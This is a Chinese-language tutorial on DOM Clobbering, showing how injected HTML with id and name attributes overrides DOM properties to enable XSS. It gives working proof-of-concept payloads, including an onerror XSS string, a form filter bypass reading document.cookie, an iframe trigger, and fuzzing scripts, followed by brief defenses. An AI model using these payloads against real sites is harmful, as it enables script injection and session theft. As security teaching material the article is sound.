使用 Dom Clobbering 扩展 XSS
字数 1209 2025-08-22 12:23:36

DOM Clobbering 技术详解

基础概念

DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下,可以考虑使用这种技术。

DOM 背景

  • DOM 最初是在没有任何标准化的情况下实现的,导致了许多特殊行为
  • 为了保持兼容性,许多浏览器仍然支持异常的 DOM 行为
  • DOM Level 0 & 1 仅提供了有限的通过 JavaScript 引用元素的方式
  • 浏览器有时会向各种 DOM 元素添加 name & id 属性作为对文档或全局对象的属性引用

基本示例

示例1:创建对象


<script>
  alert(document.test);  // 显示img元素
</script>

通过 id 或 name 属性,可以在 documentwindow 对象下创建一个对象。

示例2:覆盖属性


<script>
  alert(document.cookie);  // 显示img元素而非cookie
</script>

可以覆盖 document.cookie 这样的属性。

示例3:覆盖方法


<script>
  alert(document.body.appendChild);  // 显示img元素而非方法
</script>

可以覆盖 document.body.appendChild 这样的方法。

攻击方法

转换为字符串

大多数情况下需要将 HTMLElement 对象转换为可控的字符串类型:

Object.getOwnPropertyNames(window)
  .filter(p => p.match(/Element$/))
  .map(p => window[p])
  .filter(p => p && p.prototype && p.prototype.toString !== Object.prototype.toString)

可以得到两种标签对象:

  • HTMLAreaElement (<area>)
  • HTMLAnchorElement (<a>)

这两个标签都可以利用 href 属性进行字符串转换。

HTMLCollection 使用

构建两层结构:

<div id="x">
  <a id="x" name="y" href="1:hasaki"></a>
</div>
<script>
  alert(x.y);  // 显示 "1:hasaki"
</script>

通过 HTMLCollectionname 属性可以实现两层引用。

HTML 标签关系

通过 Fuzz 测试可以发现以下标签关系可用于构建层级:

form->button
form->fieldset
form->image
form->img
form->input
form->object
form->output
form->select
form->textarea

示例:

<form id="x"><output id="y">I've been clobbered</output>
<script>
  alert(x.y.value);  // 显示 "I've been clobbered"
</script>

三层结构

<form id="x" name="y"><output id="z">I've been clobbered</output></form>
<form id="x"></form>
<script>
  alert(x.y.z.value);  // 显示 "I've been clobbered"
</script>

更多层级

使用 iframesrcdoc 配合构建更多层级:

<iframe name="a" srcdoc="
  <iframe srcdoc='<a id=c name=d href=cid:Clobbered>test</a><a id=c>' name=b>"></iframe>
<script>
  setTimeout(()=>alert(a.b.c.d),500)  // 显示 "cid:Clobbered"
</script>

自定义属性

大多数自定义属性无法直接利用,但可以 Fuzz 可用的字符串类型属性:

var html = [...] // HTML元素数组
var props=[];
for(i=0;i<html.length;i++){
  obj = document.createElement(html[i]);
  for(prop in obj) {
    if(typeof obj[prop] === 'string') {
      try {
        DOM.innerHTML = '<'+html[i]+' id=x '+prop+'=1>';
        if(document.getElementById('x')[prop] == 1) {
          props.push(html[i]+':'+prop);
        }
      }catch(e){}
    }
  }
}
console.log([...new Set(props)].join('\n'));

发现 a 标签的 usernamepassword 属性可以利用:

<a id="x" href="ftp:Clobbered-username:Clobbered-Password@a">
<script>
  alert(x.username)  // 显示 "Clobbered-username"
  alert(x.password)  // 显示 "Clobbered-password"
</script>

实际利用示例

示例1:利用 DOM Clobbering 实现 XSS

<a id=defaultAvatar><a id=defaultAvatar name=avatar href="1:&quot;onerror=alert(1)//">

示例2:绕过 HTML 过滤器

<form id=x tabindex=0 onfocus=alert(document.cookie)><input id=attributes>

使用 iframe 触发:

<iframe src=https://victim.com/post?postId=3 onload="setTimeout(a=>this.src=this.src+'#x',500)">

防御措施

  1. 检查变量预期类型,确保属性是预期的类型而非 HTMLElement
  2. 代码规范,避免滥用全局变量
  3. 使用经过测试的库,如 DOMPurify

技术细节

Document 可 Clobber 的属性

  • 通过 id:仅 object 标签
  • 通过 name:embed, form, image, img, object
  • 同时使用 id 和 name:image, img, object

Window 可 Clobber 的属性

  • 几乎所有标签都可以通过 id 在 window 对象上创建属性
  • 通过 name:embed, form, image, img, object

不可 Clobber 的标签

body, caption, col, colgroup, frame, frameset, head, html, tbody, td, tfoot, th, thead, tr
DOM Clobbering 技术详解 基础概念 DOM Clobbering 是一种通过注入 HTML 代码来操纵 DOM 并最终改变页面上 JavaScript 行为的技术。在无法直接实现 XSS 的情况下,可以考虑使用这种技术。 DOM 背景 DOM 最初是在没有任何标准化的情况下实现的,导致了许多特殊行为 为了保持兼容性,许多浏览器仍然支持异常的 DOM 行为 DOM Level 0 & 1 仅提供了有限的通过 JavaScript 引用元素的方式 浏览器有时会向各种 DOM 元素添加 name & id 属性作为对文档或全局对象的属性引用 基本示例 示例1:创建对象 通过 id 或 name 属性,可以在 document 或 window 对象下创建一个对象。 示例2:覆盖属性 可以覆盖 document.cookie 这样的属性。 示例3:覆盖方法 可以覆盖 document.body.appendChild 这样的方法。 攻击方法 转换为字符串 大多数情况下需要将 HTMLElement 对象转换为可控的字符串类型: 可以得到两种标签对象: HTMLAreaElement ( <area> ) HTMLAnchorElement ( <a> ) 这两个标签都可以利用 href 属性进行字符串转换。 HTMLCollection 使用 构建两层结构: 通过 HTMLCollection 和 name 属性可以实现两层引用。 HTML 标签关系 通过 Fuzz 测试可以发现以下标签关系可用于构建层级: 示例: 三层结构 更多层级 使用 iframe 与 srcdoc 配合构建更多层级: 自定义属性 大多数自定义属性无法直接利用,但可以 Fuzz 可用的字符串类型属性: 发现 a 标签的 username 和 password 属性可以利用: 实际利用示例 示例1:利用 DOM Clobbering 实现 XSS 示例2:绕过 HTML 过滤器 使用 iframe 触发: 防御措施 检查变量预期类型,确保属性是预期的类型而非 HTMLElement 代码规范,避免滥用全局变量 使用经过测试的库,如 DOMPurify 技术细节 Document 可 Clobber 的属性 通过 id:仅 object 标签 通过 name: embed , form , image , img , object 同时使用 id 和 name: image , img , object Window 可 Clobber 的属性 几乎所有标签都可以通过 id 在 window 对象上创建属性 通过 name: embed , form , image , img , object 不可 Clobber 的标签